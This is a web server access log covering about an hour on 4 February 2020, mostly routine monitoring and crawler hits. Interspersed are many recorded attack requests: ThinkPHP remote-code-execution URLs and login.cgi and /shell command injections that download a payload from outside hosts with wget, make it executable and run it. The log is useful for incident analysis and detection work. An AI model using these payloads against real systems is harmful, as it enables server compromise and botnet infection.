117.213.87.215 - - [04/Feb/2020:10:14:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:10:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:10:14:43 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.197.193 - - [04/Feb/2020:10:19:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.174.231 - - [04/Feb/2020:10:21:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:10:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.16.232 - - [04/Feb/2020:10:25:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.95.64 - - [04/Feb/2020:10:25:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.79.188 - - [04/Feb/2020:10:26:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.75.67 - - [04/Feb/2020:10:27:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [04/Feb/2020:10:28:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.251.232 - - [04/Feb/2020:10:29:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.33.112.155 - - [04/Feb/2020:10:29:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.235.223.7 - - [04/Feb/2020:10:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.148.247.1 - - [04/Feb/2020:10:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.51.72.64 - - [04/Feb/2020:10:36:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.109.224.216 - - [04/Feb/2020:10:37:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.61.103.126 - - [04/Feb/2020:10:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.168.34.142 - - [04/Feb/2020:10:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.72.172 - - [04/Feb/2020:10:42:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.189.141.23 - - [04/Feb/2020:10:44:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.66.176 - - [04/Feb/2020:10:45:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.253.167 - - [04/Feb/2020:10:45:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [04/Feb/2020:10:50:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [04/Feb/2020:10:50:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:10:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [04/Feb/2020:10:50:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [04/Feb/2020:10:50:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
90.151.154.89 - - [04/Feb/2020:10:50:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.20.222.185 - - [04/Feb/2020:10:51:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
117.197.250.118 - - [04/Feb/2020:10:51:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:10:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.225.119.202 - - [04/Feb/2020:10:51:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:10:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.254.232.117 - - [04/Feb/2020:10:53:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.206 - - [04/Feb/2020:10:53:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.78 - - [04/Feb/2020:10:55:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.42.195.84 - - [04/Feb/2020:10:56:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.30.251.88 - - [04/Feb/2020:10:59:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.136.216.207 - - [04/Feb/2020:10:59:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.80.54.226 - - [04/Feb/2020:11:01:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:11:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.85.83.121 - - [04/Feb/2020:11:03:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.216.96.244 - - [04/Feb/2020:11:03:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.244 - - [04/Feb/2020:11:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [04/Feb/2020:11:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.121.44 - - [04/Feb/2020:11:03:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.129.99 - - [04/Feb/2020:11:04:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [04/Feb/2020:11:05:05 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [04/Feb/2020:11:05:05 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [04/Feb/2020:11:05:06 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
212.91.246.72 - - [04/Feb/2020:11:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.188.191.38 - - [04/Feb/2020:11:06:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.70.147.70 - - [04/Feb/2020:11:06:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:11:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.86.36.45 - - [04/Feb/2020:11:08:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.249.252 - - [04/Feb/2020:11:10:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:11:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.101.49 - - [04/Feb/2020:11:12:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.0.50.145 - - [04/Feb/2020:11:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:11:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.250.32 - - [04/Feb/2020:11:12:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.60.151.13 - - [04/Feb/2020:11:14:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.245.85 - - [04/Feb/2020:11:15:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [04/Feb/2020:11:18:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:21:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:21:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.8.25.195 - - [04/Feb/2020:11:22:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.175.253.10 - - [04/Feb/2020:11:23:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
